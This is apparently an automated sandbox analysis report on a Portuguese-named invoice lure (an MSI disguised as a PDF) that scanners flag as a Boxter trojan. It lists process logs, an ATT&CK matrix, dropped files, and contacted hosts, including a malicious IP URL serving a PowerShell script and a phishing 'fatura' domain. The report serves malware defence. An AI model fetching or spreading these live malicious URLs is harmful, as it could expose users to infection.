Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	1 Command and Scripting Interpreter	1 Browser Extensions	11 Process Injection	121 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	11 Peripheral Device Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	23 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Fatura227Pendente576.pdf674.msi	31%	Virustotal		Browse
Fatura227Pendente576.pdf674.msi	24%	ReversingLabs	Win32.Trojan.Boxter

Dropped Files

Source	Detection	Scanner
C:\Windows\Installer\MSI124C.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI125.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI2950.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI3F88.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI48.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI4E2F.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6532.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI68.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI8A5E.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI9A6C.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIA47F.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIB69.tmp	0%	ReversingLabs
C:\Windows\Installer\MSID39E.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIFFE9.tmp	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
blobcomments-pa.clients6.google.com	172.217.17.42	true	false	high
play.google.com	142.250.181.110	true	false	high
plus.l.google.com	142.250.181.46	true	false	high
www.google.com	172.217.19.228	true	false	high
drive.google.com	172.217.17.46	true	false	high
upload.wikimedia.org	185.15.58.240	true	false	high
peoplestackwebexperiments-pa.clients6.google.com	172.217.19.202	true	false	high
yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org	192.124.216.109	true	false	unknown
i.ibb.co	91.134.82.79	true	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://apis.google.com/js/googleapis.proxy.js?onload=startup	false	high
http://192.124.216.14/vd/sis/DownSistem.ps1	true	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=googleapis_proxy/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_0?le=scs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	chrome.exe, 00000009.00000002.4155161625.0000454400C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000009.00000003.1815379189.000045440064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149992962.0000454400658000.00000004.00000800.00020000.00000000.sdmp	false	high
https://dl.google.com/release2/chrome_component/adm5fg7myczym5ugfpmw2lireirq_2024.11.8.0/gonpemdgkjc	chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4152067238.0000454400964000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	chrome.exe, 00000009.00000003.2582039999.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1986377459.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2365428270.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431675830.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1846552649.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2264567148.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2256163346.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2070729831.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2450057532.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1828574602.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2366576736.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1890362176.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2231263427.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155212155.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2235752970.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1820630621.0000454400C28000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/tools/feedback/open.js	chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/E	chrome.exe, 00000009.00000002.4159877710.00004544011C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159039149.0000454400FB8000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://drve.goog%26authu3D0%ttps	chrome.exe, 00000009.00000002.4164451677.00004544024B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4157575958.0000454400E94000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000009.00000002.4146632234.000045440008F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com/js/client.js	chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://google-ohttp-relay-join.fastly-edge.com/3	chrome.exe, 00000009.00000003.1873992136.00004544011BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1874085666.00004544011C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/document/J	chrome.exe, 00000009.00000003.1815379189.000045440064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149992962.0000454400658000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/file/d/1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh/view_%2Fscs%2Fabc-static%2F_%2Fjs%	chrome.exe, 00000009.00000002.4151861732.0000454400908000.00000004.00000800.00020000.00000000.sdmp	false	high
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000009.00000002.4150928544.000045440077C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149187457.000045440049C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7382	chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.htmlC	chrome.exe, 00000009.00000002.4156070343.0000454400D34000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://qvn-63946.1mp3.rg	chrome.exe, 00000009.00000002.4156457638.0000454400D84000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://csp.withgoogle.com/csp/viewer/.orgDE	chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.htmlH	chrome.exe, 00000009.00000002.4168301768.000048FC00238000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://drive.google.com/file/d/1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh/viewSbl.440417381_40722058702_0024	chrome.exe, 00000009.00000003.2432993143.0000454400354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2557822147.0000454400354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2461423665.0000454400354000.00000004.00000800.00020000.00000000.sdmp	false	high
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000009.00000002.4149233113.00004544004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4151016923.0000454400794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4151066342.00004544007C0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://upload.wikimedia.org	powershell.exe, 00000003.00000002.1773602894.0000000009126000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1773602894.0000000008D81000.00000004.00000800.00020000.00000000.sdmp	false	high
https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.htmlIdentificando	chrome.exe, 00000009.00000003.1975339052.0000454400EEC000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://dns-tunnel-check.googlezip.net/connect	chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://dl.google.com/release2/chrome_component/adrga7eefaxjfdmmgfkiaxjg4yjq_2024.7.12.235938/eeigpn	chrome.exe, 00000009.00000002.4163956604.000045440241C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drve.goog%26authu3D0%ttpsPN	chrome.exe, 00000009.00000002.4164576501.00004544024D4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://docs.google.com/	chrome.exe, 00000009.00000003.1814676673.0000454400490000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/document/:	chrome.exe, 00000009.00000003.1815379189.000045440064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149992962.0000454400658000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/speech-api/v2/synthesize?	chrome.exe, 00000009.00000003.1827039062.00004544002A4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://unisolated.invalid/	chrome.exe, 00000009.00000002.4152180003.00004544009B0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://csp.withgoogle.com/csp/apiservingDEED	chrome.exe, 00000009.00000002.4160808645.00004544014C0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/chrome/tips/	chrome.exe, 00000009.00000002.4151951686.0000454400938000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4151066342.00004544007C0000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.google.com/dl/release2/chrome_component/cpx7rw4q3nwu7emczqf2w6cu7y_2023.3.30.1305/cocncan	chrome.exe, 00000009.00000002.4163956604.000045440241C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.1762457474.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1806579543.0000000005399000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1905649273.0000000005FFE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/?lfhs=2	chrome.exe, 00000009.00000003.1815379189.000045440064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149992962.0000454400658000.00000004.00000800.00020000.00000000.sdmp	false	high
https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.htmlr	chrome.exe, 00000009.00000002.4156631900.0000454400DD0000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://dl.google.com/release2/chrome_component/ads7ltfl2gw6hxwgakn3sxrkoijq_9.53.0/gcmjkmgdlgnkkcocm	chrome.exe, 00000009.00000002.4152660899.0000454400A0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/6929	chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.google.com/dl/release2/chrome_component/adblcnrkt5zdysyip2hllhmi7tpq_20241209.706525355.1	chrome.exe, 00000009.00000002.4147517323.0000454400190000.00000004.00000800.00020000.00000000.sdmp	false	high
https://google-ohttp-relay-join.fastly-edge.com/:0	chrome.exe, 00000009.00000003.1873992136.00004544011BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1874085666.00004544011C4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.1759728113.0000000004271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1735899233.00000221C521C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1788756794.0000000004331000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1886945626.0000000004F91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2692236412.00000242A4CC1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/dl/release2/chrome_component/acccxbt6wwsvpxzpob4hojndwkqq_4.10.2830.0/oimompe	chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.youtube.com/?feature=ytca	chrome.exe, 00000009.00000003.1815379189.000045440064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149992962.0000454400658000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000009.00000002.4149233113.00004544004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4151016923.0000454400794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4151066342.00004544007C0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7369	chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830149627.0000454400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1830217845.0000454400EA4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.1788756794.0000000004486000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1810271687.0000000006D92000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1878844290.00000000033A6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1886945626.00000000050E3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/?q=	chrome.exe, 00000009.00000002.4155161625.0000454400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4152067238.0000454400964000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.1788756794.0000000004486000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1810271687.0000000006D92000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1878844290.00000000033A6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1886945626.00000000050E3000.00000004.00000800.00020000.00000000.sdmp	false	high
http://dl.google.com/release2/chrome_component/j2hxfei2occ5siitujtlwgp6xi_3/ojhpjlocmbogdgmfpkhlaaea	chrome.exe, 00000009.00000002.4152660899.0000454400A0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore	chrome.exe, 00000009.00000003.1814676673.0000454400490000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431968400.00004544024A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2211952830.0000454400CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431928718.000045440034C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com/js/api.js	chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://csp.withgoogle.com/csp/viewer/.org	chrome.exe, 00000009.00000002.4153565249.0000454400ADC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4157697771.0000454400EC0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-2.corp.google.com/	chrome.exe, 00000009.00000003.1814676673.0000454400490000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/69292	chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.google.com/dl/release2/chrome_component/ac6mhlwypzipnufijdvfyhdgvt4q_67/khaoiebndkojlmppe	chrome.exe, 00000009.00000002.4152660899.0000454400A0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000007.00000002.1806579543.0000000005399000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1905649273.0000000005FFE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://dl.google.com/release2/chrome_component/V3P1l2hLvLw_7/7_all_sslErrorAssistant.crx3	chrome.exe, 00000009.00000002.4155161625.0000454400C0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.comAccess-Control-Allow-Methods:	chrome.exe, 00000009.00000003.2692125113.0000454402648000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.google.com/tools/feedback/open_to_help_guide_lazy.js	chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	false	high
